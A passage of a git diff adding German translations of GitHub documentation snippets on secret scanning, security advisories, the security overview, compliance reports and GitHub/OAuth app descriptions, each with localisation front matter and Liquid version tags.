+{% data variables.product.prodname_secret_scanning %} sucht in Ihrem gesamten Git-Verlauf auf allen Branches, die in Ihrem {% data variables.product.prodname_dotcom %}-Repository vorhanden sind, nach Geheimnissen.
diff --git a/translations/de-DE/data/reusables/security-advisory/disclosing-vulnerabilities.md b/translations/de-DE/data/reusables/security-advisory/disclosing-vulnerabilities.md
new file mode 100644
index 0000000000..7371df9657
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-advisory/disclosing-vulnerabilities.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c759dde3d7cef97722fb7c3a002714e08f0b8e45
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133801"
+---
+Die Aufdeckung von Sicherheitsrisiken ist ein Bereich, in dem die Zusammenarbeit zwischen denjenigen, die Sicherheitsrisiken melden, z. B. Sicherheitsforscher, und den Projektbetreuern sehr wichtig ist. Beide Parteien müssen zusammenarbeiten, und zwar von dem Moment an, in dem eine potenziell gefährliche Sicherheitslücke gefunden wird, bis zu dem Zeitpunkt, an dem die Schwachstelle öffentlich gemacht wird, idealerweise mit einem entsprechenden Patch. Wenn ein Projektbetreuer privat über ein Sicherheitsrisiko informiert wird, entwickelt er in der Regel einen Fix, prüft ihn und benachrichtigt die Benutzer des Projekts oder Pakets.
diff --git a/translations/de-DE/data/reusables/security-advisory/global-advisories.md b/translations/de-DE/data/reusables/security-advisory/global-advisories.md
new file mode 100644
index 0000000000..7ecde15efd
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-advisory/global-advisories.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cb874d7a6fcaa0deeb828d91f9769df69050d337
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: "148114004"
+---
+Sicherheitshinweise in {% data variables.product.prodname_advisory_database %} unter [github.com/advisories](https://github.com/advisories) gelten als globale Hinweise. Jeder kann für alle globalen Sicherheitshinweise in {% data variables.product.prodname_advisory_database %} Verbesserungen vorschlagen. Du kannst beliebige Details bearbeiten oder hinzufügen, u. a. zusätzlich betroffene Ökosysteme, Schweregrad oder Beschreibung der betroffenen Personen. Das {% data variables.product.prodname_security %}-Kuratorenteam überprüft die eingereichten Verbesserungsvorschläge und veröffentlicht sie in {% data variables.product.prodname_advisory_database %}, falls sie akzeptiert werden.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/security-advisory/link-browsing-advisory-db.md b/translations/de-DE/data/reusables/security-advisory/link-browsing-advisory-db.md
new file mode 100644
index 0000000000..579c42109d
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-advisory/link-browsing-advisory-db.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9bd9a97aac8ee24742aacd8f37472811372d06ea
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147410563"
+---
+Weitere Informationen findest du unter [Durchsuchen von Sicherheitsempfehlungen in {% data variables.product.prodname_advisory_database %}](/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database).
diff --git a/translations/de-DE/data/reusables/security-advisory/repository-level-advisory-note.md b/translations/de-DE/data/reusables/security-advisory/repository-level-advisory-note.md
new file mode 100644
index 0000000000..800ef8a92d
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-advisory/repository-level-advisory-note.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 3219e988ebe930271ce7a7972f04aacac1d71e40
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132873"
+---
+{% note %}
+
+**Hinweis**: Dieser Artikel gilt für die Bearbeitung von Empfehlungen auf Repositoryebene als Repositorybesitzer.
+
+Benutzer, die keine Repositorybesitzer sind, können zu globalen Sicherheitsempfehlungen in der {% data variables.product.prodname_advisory_database %} unter [github.com/advisories](https://github.com/advisories) beitragen. Die Bearbeitung globaler Empfehlungen hat keine Auswirkungen auf die Darstellung der Empfehlung im Repository. Weitere Informationen findest du unter [Bearbeiten von Sicherheitsempfehlungen in {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/security-advisory/security-advisory-overview.md b/translations/de-DE/data/reusables/security-advisory/security-advisory-overview.md
new file mode 100644
index 0000000000..d4c3b34d10
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-advisory/security-advisory-overview.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 329fc14d26f27da725619bc862b99ff239c9aa14
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: "148114008"
+---
+Mithilfe von Sicherheitsempfehlungen für Repositorys können Repositoryverwalter*innen ein Sicherheitsrisiko in einem Projekt privat besprechen und beheben. Nach der Zusammenarbeit an einer Lösung können Repositoryverwalter die Sicherheitsempfehlung veröffentlichen, um das Sicherheitsrisiko öffentlich für die Community des Projekts offenzulegen. Durch die Veröffentlichung von Sicherheitsempfehlungen erleichtern Repositoryverwalter ihrer Community das Aktualisieren von Paketabhängigkeiten und das Untersuchen der Auswirkungen von Sicherheitsrisiken.
diff --git a/translations/de-DE/data/reusables/security-advisory/security-researcher-cannot-create-advisory.md b/translations/de-DE/data/reusables/security-advisory/security-researcher-cannot-create-advisory.md
new file mode 100644
index 0000000000..78dd57dd68
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-advisory/security-researcher-cannot-create-advisory.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 842c9e724fedf0f6758935c2081916f3b7cfe35d
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133798"
+---
+{% note %}
+
+**Hinweis**: Wenn du Sicherheitsforscher bist, solltest du dich direkt an die Betreuer wenden und sie bitten, Sicherheitshinweise zu erstellen oder in deinem Auftrag CVEs in Repositorys zu erstellen, die nicht von dir verwaltet werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/security-overview/beta.md b/translations/de-DE/data/reusables/security-overview/beta.md
new file mode 100644
index 0000000000..bb7b451356
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-overview/beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 27d429cab1bb55d38e886f07158c1a2708380f6a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147168409"
+---
+{% note %}
+
+**Hinweis**: Die Sicherheitsübersicht befindet sich derzeit in der Betaphase und kann sich jederzeit ändern.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/security-overview/information-varies-GHAS.md b/translations/de-DE/data/reusables/security-overview/information-varies-GHAS.md
new file mode 100644
index 0000000000..f2428a7e80
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-overview/information-varies-GHAS.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 55863906d744c997149aa2fffd6541f32e42c0d1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108354"
+---
+{% ifversion security-overview-displayed-alerts %} Die in der Sicherheitsübersicht angezeigten Informationen variieren je nach deinem Zugriff auf Repositorys und je nachdem, ob {% data variables.product.prodname_GH_advanced_security %} von diesen Repositorys verwendet wird.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/security-overview/permissions.md b/translations/de-DE/data/reusables/security-overview/permissions.md
new file mode 100644
index 0000000000..43dd55172d
--- /dev/null
+++ b/translations/de-DE/data/reusables/security-overview/permissions.md
@@ -0,0 +1 @@
+{% ifversion not fpt %}Organization owners and security managers can access the organization-level security overview{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} and view alerts across multiple organizations via the enterprise-level security overview. Enterprise owners can only view repositories and alerts for organizations where they are added as an organization owner or security manager{% endif %}. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can access the organization-level security overview to view results for repositories where they have admin privileges or have been granted access to security alerts.{% else %}Members of a team can see the security overview for repositories that the team has admin privileges for.{% endif %}{% endif %}
diff --git a/translations/de-DE/data/reusables/security/compliance-report-list.md b/translations/de-DE/data/reusables/security/compliance-report-list.md
new file mode 100644
index 0000000000..17fdbf94bd
--- /dev/null
+++ b/translations/de-DE/data/reusables/security/compliance-report-list.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: d39703b72244e3f2afa2877cf9eace4da2357e29
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133794"
+---
+- SOC 1, Typ 2
+- SOC 2, Typ 2
+- Cloud Security Alliance CAIQ-Selbstbewertung (CSA CAIQ)
+- ISO/IEC 27001:2013-Zertifizierung
+- {% data variables.product.prodname_dotcom_the_website %} Dienstkontinuitäts- und Vorfallverwaltungsplan
diff --git a/translations/de-DE/data/reusables/security/compliance-report-screenshot.md b/translations/de-DE/data/reusables/security/compliance-report-screenshot.md
new file mode 100644
index 0000000000..49ae2ac18d
--- /dev/null
+++ b/translations/de-DE/data/reusables/security/compliance-report-screenshot.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 33fb32036a9b4ad6930271ef02217b8e9be69abf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133793"
+---
+![Screenshot der Schaltfläche „Download“ rechts neben einem Compliancebericht](/assets/images/help/settings/compliance-report-download.png)
diff --git a/translations/de-DE/data/reusables/security/displayed-information.md b/translations/de-DE/data/reusables/security/displayed-information.md
new file mode 100644
index 0000000000..4cd207de57
--- /dev/null
+++ b/translations/de-DE/data/reusables/security/displayed-information.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: b57bbd1a709b4cae3b93607d1cd03c1a4a31be15
+ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/07/2022
+ms.locfileid: "148135687"
+---
+Wenn du ein oder mehrere Sicherheits- und Analysefeatures für vorhandene Repositorys aktivierst, werden alle Ergebnisse innerhalb von Minuten in {% data variables.product.prodname_dotcom %} angezeigt:
+
+- Alle vorhandenen Repositorys verfügen über die ausgewählte Konfiguration.
+- Neue Repositorys folgen der ausgewählten Konfiguration, wenn du das Kontrollkästchen für neue Repositorys aktiviert hast.{% ifversion GH-advisory-db-supports-malware %}
+- Wir verwenden die Berechtigungen zum Suchen nach Manifestdateien, um die relevanten Dienste anzuwenden.
+- Ist diese Option aktiviert, werden Abhängigkeitsinformationen im Abhängigkeitsdiagramm angezeigt.
+- Ist diese Option aktiviert, generiert {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_dependabot_alerts %} für anfällige Abhängigkeiten oder Schadsoftware.{% endif %}{% ifversion fpt or ghec or ghes %}
+- Ist diese Option aktiviert, erstellen {% data variables.product.prodname_dependabot %}-Sicherheitsupdates Pullanforderungen, um anfällige Abhängigkeiten zu aktualisieren, wenn {% data variables.product.prodname_dependabot_alerts %} ausgelöst werden.{% endif %}
diff --git a/translations/de-DE/data/reusables/security/overview-of-phased-approach-for-ghas-rollout.md b/translations/de-DE/data/reusables/security/overview-of-phased-approach-for-ghas-rollout.md
new file mode 100644
index 0000000000..5c90a6152c
--- /dev/null
+++ b/translations/de-DE/data/reusables/security/overview-of-phased-approach-for-ghas-rollout.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 0bc2ac8ffeba49903cd3bd5763eea28819b5f8f9
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133790"
+---
+Wir haben einen stufenweisen Ansatz für {% data variables.product.prodname_GH_advanced_security %} (GHAS)-Rollouts erstellt, die auf der Grundlage von bewährten Methoden der Branche und von GitHub entwickelt wurden. Diese Vorgehensweise kannst du für deinen Rollout in Zusammenarbeit mit {% data variables.product.prodname_professional_services %} oder eigenständig nutzen.
+
+Zwar wird das Verfahren in mehreren Phasen empfohlen, du kannst jedoch je nach den Anforderungen in deiner Organisation Anpassungen vornehmen. Darüber hinaus wird empfohlen, eine Zeitachse für den Rollout und die Implementierung zu erstellen und einzuhalten. Wenn du mit der Planung beginnst, können wir zusammen die für deine Organisation am besten geeignete Vorgehensweise und Zeitachse festlegen.
+
+Basierend auf unserer Erfahrung, die Kunden bei einer erfolgreichen Bereitstellung von GHAS zu unterstützen, erwarten wir, dass die meisten Kunden das Rollout in den von uns vorgeschlagenen Phasen durchführen werden.
+
+Je nach den Anforderungen in deiner Organisation musst du diese Vorgehensweise unter Umständen anpassen und einige Phasen oder Schritte ändern oder auslassen.
+
+![Abbildung zur Darstellung der drei Stufen beim Rollout und bei der Bereitstellung von GitHub Advanced Security: Phase 0: Planung und Kickoff, Phase 1: Pilotprojekte, Phase 2: Akzeptanz in der Organisation und Rollout für Early Adopter und Phase 3: Vollständiger Rollout in der Organisation und Change Management](/assets/images/enterprise/security/advanced-security-phased-approach-diagram.png)
diff --git a/translations/de-DE/data/reusables/security/security-and-analysis-features-enable-read-only.md b/translations/de-DE/data/reusables/security/security-and-analysis-features-enable-read-only.md
new file mode 100644
index 0000000000..8838877702
--- /dev/null
+++ b/translations/de-DE/data/reusables/security/security-and-analysis-features-enable-read-only.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 33669a3a662fab403ad665603dd19d40fe2a6030
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133789"
+---
+{% ifversion fpt or ghec %} Wenn du Sicherheits- und Analysefeatures aktivierst, führt {% data variables.product.company_short %} eine schreibgeschützte Analyse für dein Repository aus. Weitere Informationen findest du unter [Informationen zur Nutzung deiner Daten durch {% data variables.product.company_short %}](/github/understanding-how-github-uses-and-protects-your-data/about-githubs-use-of-your-data).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/security/some-security-and-analysis-features-are-enabled-by-default.md b/translations/de-DE/data/reusables/security/some-security-and-analysis-features-are-enabled-by-default.md
new file mode 100644
index 0000000000..fc22ad3b35
--- /dev/null
+++ b/translations/de-DE/data/reusables/security/some-security-and-analysis-features-are-enabled-by-default.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 22004624bd07598949b85766f5087a7978731437
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132865"
+---
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweis**: Einige Sicherheits- und Analysefunktionen, die standardmäßig für öffentliche Repositorys aktiviert sind, lassen sich nicht deaktivieren.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/server-statistics/csv-download.md b/translations/de-DE/data/reusables/server-statistics/csv-download.md
new file mode 100644
index 0000000000..c1479569f0
--- /dev/null
+++ b/translations/de-DE/data/reusables/server-statistics/csv-download.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ed5055403a7104af88889bc4aae7cb495b8d4fee
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147061850"
+---
+4. Um deinen Download zu starten, klicke unter {% data variables.product.prodname_github_connect %} auf **Exportieren**, und wähle dann aus, ob du eine JSON- oder eine CSV-Datei herunterladen möchtest.
+    ![Screenshot der Exportschaltfläche unter „Serverstatistiken“ auf der GitHub Connect-Seite](/assets/images/help/server-statistics/export-button.png)
diff --git a/translations/de-DE/data/reusables/shortdesc/authenticating_github_app.md b/translations/de-DE/data/reusables/shortdesc/authenticating_github_app.md
new file mode 100644
index 0000000000..489a97e5bb
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/authenticating_github_app.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e79f50effe83afaf2b110e359228f7aac5695aeb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132862"
+---
+Informationen zum Authentifizieren als GitHub-App findest du unter [Authentifizierungsoptionen für GitHub-Apps](/apps/building-github-apps/authentication-options-for-github-apps#authenticating-as-a-github-app).
diff --git a/translations/de-DE/data/reusables/shortdesc/authenticating_with_github_apps.md b/translations/de-DE/data/reusables/shortdesc/authenticating_with_github_apps.md
new file mode 100644
index 0000000000..32956d7487
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/authenticating_with_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 55bd6b3d8e445c1c5f5e8217e4f9b4876ddf4bee
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145134125"
+---
+Du kannst sich als {% data variables.product.prodname_github_app %} oder als Installation authentifizieren.
diff --git a/translations/de-DE/data/reusables/shortdesc/authorizing_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/authorizing_oauth_apps.md
new file mode 100644
index 0000000000..3fd28a7e46
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/authorizing_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bebd014c4563148935696cd8d9e90f99a0a0754a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884229"
+---
+Du kannst anderen Benutzern erlauben, deine OAuth-App zu autorisieren.
diff --git a/translations/de-DE/data/reusables/shortdesc/creating_custom_badges_github_apps.md b/translations/de-DE/data/reusables/shortdesc/creating_custom_badges_github_apps.md
new file mode 100644
index 0000000000..735623de96
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/creating_custom_badges_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 16fe300b9ddd6e9cf3508cd1a5315fbb010e4dd6
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884165"
+---
+Du kannst das Standardbadge in deiner GitHub-App ersetzen, indem du dein eigenes Logobild hochlädst und den Hintergrund anpasst.
diff --git a/translations/de-DE/data/reusables/shortdesc/creating_custom_badges_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/creating_custom_badges_oauth_apps.md
new file mode 100644
index 0000000000..32d9e46793
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/creating_custom_badges_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2ad0ca9e6a4025dadfe295a5abf884abe471d5a5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132857"
+---
+Du kannst das Standardbadge in deiner OAuth-App ersetzen, indem du dein eigenes Logobild hochlädst und den Hintergrund anpasst.
diff --git a/translations/de-DE/data/reusables/shortdesc/creating_github_apps.md b/translations/de-DE/data/reusables/shortdesc/creating_github_apps.md
new file mode 100644
index 0000000000..cb8285f182
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/creating_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 16765ff328dd912605f6689183d4b2edf1f72e34
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145134122"
+---
+Du kannst eine GitHub-App unter deinem persönlichen Konto oder unter einer beliebigen Organisation erstellen und registrieren, auf die du Administatorzugriff besitzt.
diff --git a/translations/de-DE/data/reusables/shortdesc/creating_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/creating_oauth_apps.md
new file mode 100644
index 0000000000..934c65ebdb
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/creating_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cae1b77fe2b4aa1c36d74fc64378da9e9502f712
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132854"
+---
+Du kannst eine OAuth-App unter deinem persönlichen Konto oder unter einer beliebigen Organisation erstellen und registrieren, auf die du Administatorzugriff besitzt. Denke beim Erstellen deiner OAuth-App daran, den Datenschutz zu beachten, indem du nur Informationen verwendest, die du als öffentlich betrachtest.
diff --git a/translations/de-DE/data/reusables/shortdesc/deleting_github_apps.md b/translations/de-DE/data/reusables/shortdesc/deleting_github_apps.md
new file mode 100644
index 0000000000..e902d5de3e
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/deleting_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3dc31af0cda9ea3902a622ead46ba9f85e0f74e7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134118"
+---
+Du kannst GitHub-Apps löschen, wenn du sie nicht mehr verwendest.
diff --git a/translations/de-DE/data/reusables/shortdesc/deleting_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/deleting_oauth_apps.md
new file mode 100644
index 0000000000..2236d4f331
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/deleting_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dedff7f31dc16a370687629306e13f9bd4b0972a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132833"
+---
+Du kannst OAuth-Apps löschen, wenn du sie nicht mehr verwendest.
diff --git a/translations/de-DE/data/reusables/shortdesc/editing_permissions_for_github_apps.md b/translations/de-DE/data/reusables/shortdesc/editing_permissions_for_github_apps.md
new file mode 100644
index 0000000000..de04bca76b
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/editing_permissions_for_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1f24aa0d4ec33205d15e4b6666b3e37fecbb5ebe
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134114"
+---
+Nachdem du eine GitHub-App registriert hast, kannst du die Berechtigungen deiner App ändern.
diff --git a/translations/de-DE/data/reusables/shortdesc/identifying_and_authorizing_github_apps.md b/translations/de-DE/data/reusables/shortdesc/identifying_and_authorizing_github_apps.md
new file mode 100644
index 0000000000..799ce54739
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/identifying_and_authorizing_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e8b9cda64d4033c864144e14fd0ef339398c79c2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881429"
+---
+Ihre GitHub App kann Aktionen im Namen eines Benutzers ausführen, z. B. das Erstellen eines Issues, das Erstellen einer Bereitstellung und die Verwendung anderer unterstützter Endpunkte.
diff --git a/translations/de-DE/data/reusables/shortdesc/iso_8601.md b/translations/de-DE/data/reusables/shortdesc/iso_8601.md
new file mode 100644
index 0000000000..644a51ea32
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/iso_8601.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e546a0f1db250c3c8d125d1def9f7b33abe3cab3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133762"
+---
+Dies ist ein Zeitstempel im Format [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601): `YYYY-MM-DDTHH:MM:SSZ`.
diff --git a/translations/de-DE/data/reusables/shortdesc/making-a-github-app-public-or-private.md b/translations/de-DE/data/reusables/shortdesc/making-a-github-app-public-or-private.md
new file mode 100644
index 0000000000..5a71312256
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/making-a-github-app-public-or-private.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e8dc28754f240907442eaa10c1f56620b1ea6e54
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145133761"
+---
+Wenn du eine GitHub-App einrichtest, kannst du die Installation öffentlich machen, damit jeder GitHub-Benutzer oder eine Organisation die App installieren kann, oder sie als privat deklarieren, damit sie nur in dem Konto installiert werden kann, das sie erstellt hat.
diff --git a/translations/de-DE/data/reusables/shortdesc/modifying_github_apps.md b/translations/de-DE/data/reusables/shortdesc/modifying_github_apps.md
new file mode 100644
index 0000000000..85e557aaaf
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/modifying_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f6a7047d175768849d2ed7dfb856ae52e9412f47
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881421"
+---
+Nachdem du eine GitHub-App erstellt hast, kannst du Änderungen daran vornehmen.
diff --git a/translations/de-DE/data/reusables/shortdesc/modifying_oauth_apps.md b/translations/de-DE/data/reusables/shortdesc/modifying_oauth_apps.md
new file mode 100644
index 0000000000..210df205ba
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/modifying_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bddc838df0cd5703268b187026ab257bf4dc33f9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145134113"
+---
+Nachdem du eine OAuth-App erstellt und registriert hast, kannst du Änderungen daran vornehmen.
diff --git a/translations/de-DE/data/reusables/shortdesc/permissions_github_apps.md b/translations/de-DE/data/reusables/shortdesc/permissions_github_apps.md
new file mode 100644
index 0000000000..c411307382
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/permissions_github_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0e7c9a3c236e8d154423d834184db272a8c59cd7
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884883"
+---
+Wenn du eine GitHub-App erstellst, legst du die Berechtigungen fest, die die Ressourcen definieren, auf die die App über die REST-API zugreifen kann.
diff --git a/translations/de-DE/data/reusables/shortdesc/rate_limits_github_apps.md b/translations/de-DE/data/reusables/shortdesc/rate_limits_github_apps.md
new file mode 100644
index 0000000000..499de3d2f5
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/rate_limits_github_apps.md
@@ -0,0 +1 @@
+Rate limits for {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} help control the rate of traffic to {% data variables.location.product_location %}. 
diff --git a/translations/de-DE/data/reusables/shortdesc/suspending_a_github_app.md b/translations/de-DE/data/reusables/shortdesc/suspending_a_github_app.md
new file mode 100644
index 0000000000..9cbcdda017
--- /dev/null
+++ b/translations/de-DE/data/reusables/shortdesc/suspending_a_github_app.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1218541722fde4b399c636ebf7273e3eefd394f9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881413"
+---
